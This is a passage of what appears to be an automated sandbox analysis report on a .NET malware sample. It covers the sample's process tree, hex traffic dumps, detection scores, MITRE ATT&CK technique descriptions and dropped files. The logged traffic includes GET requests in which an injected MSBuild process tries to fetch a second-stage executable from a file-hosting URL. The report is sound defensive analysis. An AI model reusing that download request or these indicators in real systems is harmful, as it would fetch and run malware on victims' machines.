2023-08-13 06:43:54 UTC	2037	IN	Data Raw: ad a7 30 0d 6c ca fe c3 d2 02 e3 42 8a 0e 06 3a c5 71 f0 50 74 3f d2 05 42 cd f1 ab 24 46 ae 88 62 02 61 18 09 ea 97 28 c6 08 c7 51 8e ef 90 b8 4f 8b b5 29 20 6d ed 98 3a 0c 81 be 98 4e 96 44 a4 b9 7b 96 ea d9 56 a6 49 73 8b f7 6b ef 58 81 85 57 b2 8b ac ca 45 ae 52 88 b5 81 c5 b9 2d 38 0c d7 96 b7 f2 1a 29 10 2d be 3c 58 5a 8c 32 f0 ae 3e 42 2d a2 98 cc f8 1d 22 ad 33 2e 57 d6 0f 90 02 24 9e e1 3f d1 dc e0 f5 34 8d cb 82 e7 e9 31 5a f1 ae 17 80 d8 66 03 f3 d0 63 24 39 73 66 7a 05 84 e0 5d c2 a8 f8 43 b9 f9 88 1e ec c1 e4 e7 4f e4 6b 5f 9e be 6f ec a4 43 e8 35 93 64 25 e5 62 45 8d 50 4e 53 48 07 43 1f fc 5f a9 25 b2 d2 08 23 b8 fb d1 b8 16 41 87 8d 9e 03 b3 19 4a 7c 48 ca 94 d5 c3 9c d8 cc 44 32 2f df a7 67 3c 4a 8d 89 e5 42 1b 7b 43 7c c6 04 b3 49 1b 68 Data Ascii: 0lB:qPt?B$Fba(QO) m:ND{VIskXWER-8)-<XZ2>B-"3.W$?41Zfc$9sfz]COk_oC5d%bEPNSHC_%#AJ\|HD2/g<JB{C\|Ih
2023-08-13 06:43:54 UTC	2053	IN	Data Raw: 29 bc b3 3d 82 f1 1d 53 2e 7b ef 22 59 6e 94 e5 1e 07 2e b2 86 64 d4 4a af 3d df 54 65 27 86 1b 52 19 4e 5c 84 68 61 6f 08 13 03 3d 66 6e 3d a6 55 74 1c 65 57 ce 8b 29 11 a7 6c d1 f3 f2 24 7b 16 c7 59 6f 56 f8 95 34 5a 1b e7 b8 c3 05 5a d3 63 02 61 e4 d4 9d 96 94 a1 1d 46 a2 dd ce ea fd 21 de 73 36 07 9a 5a 80 ad c2 0f 4b 6e 45 59 d8 5d 37 1c 56 33 9e a9 b0 7c 10 d6 8c 79 6c 66 4a 55 82 ed 61 d8 6b 81 35 c0 6d b8 29 f7 31 1c 36 9d ff 85 b6 9e cf c5 1d 9c 64 60 cb 5e 13 4b 02 31 eb 10 67 a1 b9 6a 86 98 5a 87 9c 46 1f 76 5c ea 69 42 7a a5 61 4f b0 01 8a d4 c0 2f 58 72 ab dc 3b a6 84 7e 18 e0 9d c7 4b b9 6c ff 3f 6f 2a f9 c2 49 36 1f 8e 22 90 1b 57 b0 67 f2 7c 14 2a 72 00 81 df 14 3d 86 3f 3e 76 13 c6 b4 a3 ed ec 97 7a 65 76 50 7f de fc af 24 84 97 ac 1a 74 Data Ascii: )=S.{"Yn.dJ=Te'RN\hao=fn=UteW)l${YoV4ZZcaF!s6ZKnEY]7V3\|ylfJUak5m)16d`^K1gjZFv\iBzaO/Xr;~Kl?oI6"Wg\|r=?>vzevP$t
2023-08-13 06:43:54 UTC	2069	IN	Data Raw: 3f 40 e3 b1 b2 e0 48 1e 3f 4f 65 b5 60 f7 96 a3 d7 36 0a 26 1d 5f f1 b2 32 dc 75 04 b5 66 8e e7 30 13 28 c1 77 12 fb 66 e0 16 b0 34 26 e5 d6 99 85 3b 8e 32 c6 7d b2 5f a3 47 b5 7c 6e f2 0e 63 26 61 98 d1 a1 36 7c a0 f8 8d ff 19 bd be e4 da d7 a7 a7 35 2b 5d 3f b0 59 66 f6 9a cd 65 62 05 e4 45 19 b4 f6 72 40 f0 8f 98 fa f4 f4 4c fb 51 06 24 2f ba 03 d0 06 df 61 84 d1 35 f0 31 fb 7b 36 63 e6 6e 67 11 12 7a 14 cc ed 75 59 80 af b3 94 13 a9 44 7a 67 45 67 53 b5 b2 12 99 40 15 a7 38 7e d0 0b 9d fe 65 34 e4 cf 24 60 08 29 16 5d f8 8e 6f a6 0e 49 14 40 55 38 f8 0b 10 c8 6e 7f 66 f4 a4 5d d3 d3 23 bf 47 3e 96 6b c0 b5 41 ca 56 15 33 d1 19 97 a9 71 0c 8d 7d 3c 2e ea 60 af 36 9b 0c 8e 3d f2 32 79 f5 15 4b cf 00 ba 36 dc f1 21 c4 9d 81 04 fb 70 30 93 90 54 a8 de 37 Data Ascii: ?@H?Oe`6&_2uf0(wf4&;2}_G\|nc&a6\|5+]?YfebEr@LQ$/a51{6cngzuYDzgEgS@8~e4$`)]oI@U8nf]#G>kAV3q}<.`6=2yK6!p0T7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49756	23.109.93.100	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:44:41 UTC	2070	OUT	GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2023-08-13 06:44:41 UTC	2070	IN	HTTP/1.1 404 Not Found Server: CacheProxyHTTPd v1.0 Date: Sun, 13 Aug 2023 06:43:59 +0000 Content-Type: text/html; charset="UTF-8" Content-Length: 2450 Connection: close
2023-08-13 06:44:41 UTC	2070	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 70 43 6c 6f 75 64 20 2d 20 34 30 34 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 70 63 64 6e 2d 66 69 6c 65 64 6e 2e 70 63 6c 6f 75 64 2e 63 6f 6d 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title>pCloud - 404 File not found</title> <link href="//pcdn-filedn.pcloud.com/css/main.css" rel="stylesheet" type="text/css"> <link href="fav.ico" rel="shortcut icon" type="image/x-icon"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49757	23.109.93.100	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:44:42 UTC	2072	OUT	GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2023-08-13 06:44:42 UTC	2072	IN	HTTP/1.1 404 Not Found Server: CacheProxyHTTPd v1.0 Date: Sun, 13 Aug 2023 06:44:00 +0000 Content-Type: text/html; charset="UTF-8" Content-Length: 2450 Connection: close
2023-08-13 06:44:42 UTC	2073	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 70 43 6c 6f 75 64 20 2d 20 34 30 34 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 70 63 64 6e 2d 66 69 6c 65 64 6e 2e 70 63 6c 6f 75 64 2e 63 6f 6d 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title>pCloud - 404 File not found</title> <link href="//pcdn-filedn.pcloud.com/css/main.css" rel="stylesheet" type="text/css"> <link href="fav.ico" rel="shortcut icon" type="image/x-icon"

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Kh25PMA7u8.exePID: 4156, Parent PID: 3524

General

Target ID:	0
Start time:	08:40:59
Start date:	13/08/2023
Path:	C:\Users\user\Desktop\Kh25PMA7u8.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Kh25PMA7u8.exe
Imagebase:	0x23e25fb0000
File size:	823'296 bytes
MD5 hash:	653246C59C4000245807A78407F44747
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 6968, Parent PID: 4156

General

Target ID:	11
Start time:	08:42:00
Start date:	13/08/2023
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Imagebase:	0x201f2eb0000
File size:	257'592 bytes
MD5 hash:	A52C95049B9EBCD4810762DD7982C146
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: Fphniv.exePID: 4936, Parent PID: 3524

General

Target ID:	12
Start time:	08:42:08
Start date:	13/08/2023
Path:	C:\Users\user\AppData\Roaming\Fphniv.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Fphniv.exe"
Imagebase:	0x26158350000
File size:	823'296 bytes
MD5 hash:	653246C59C4000245807A78407F44747
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs Detection: 37%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: Fphniv.exePID: 5888, Parent PID: 3524

General

Target ID:	14
Start time:	08:42:17
Start date:	13/08/2023
Path:	C:\Users\user\AppData\Roaming\Fphniv.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Fphniv.exe"
Imagebase:	0x2247ca90000
File size:	823'296 bytes
MD5 hash:	653246C59C4000245807A78407F44747
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6976, Parent PID: 6968

General

Target ID:	21
Start time:	08:43:28
Start date:	13/08/2023
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6968 -s 2412
Imagebase:	0x7ff790d90000
File size:	494'488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5512, Parent PID: 4936

General

Target ID:	22
Start time:	08:43:36
Start date:	13/08/2023
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Imagebase:	0x19413f10000
File size:	257'592 bytes
MD5 hash:	A52C95049B9EBCD4810762DD7982C146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 4008, Parent PID: 5888

General

Target ID:	23
Start time:	08:43:42
Start date:	13/08/2023
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Imagebase:	0x1b3a2b70000
File size:	257'592 bytes
MD5 hash:	A52C95049B9EBCD4810762DD7982C146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5076, Parent PID: 4008

General

Target ID:	26
Start time:	08:44:42
Start date:	13/08/2023
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4008 -s 2416
Imagebase:	0x7ff790d90000
File size:	494'488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3044, Parent PID: 5512

General

Target ID:	27
Start time:	08:44:42
Start date:	13/08/2023
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 5512 -s 2408
Imagebase:	0x7ff790d90000
File size:	494'488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Kh25PMA7u8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_0bb9fac6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_1389fa69\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_1b1cda62\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD14.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD35E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3FC.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE72.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF0E.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF3F1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF420.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF450.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4BE.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Fphniv.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Kh25PMA7u8.exe.log

C:\Users\user\AppData\Roaming\Fphniv.exe

C:\Users\user\AppData\Roaming\Fphniv.exe:Zone.Identifier

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Windows Analysis Report
Kh25PMA7u8.exe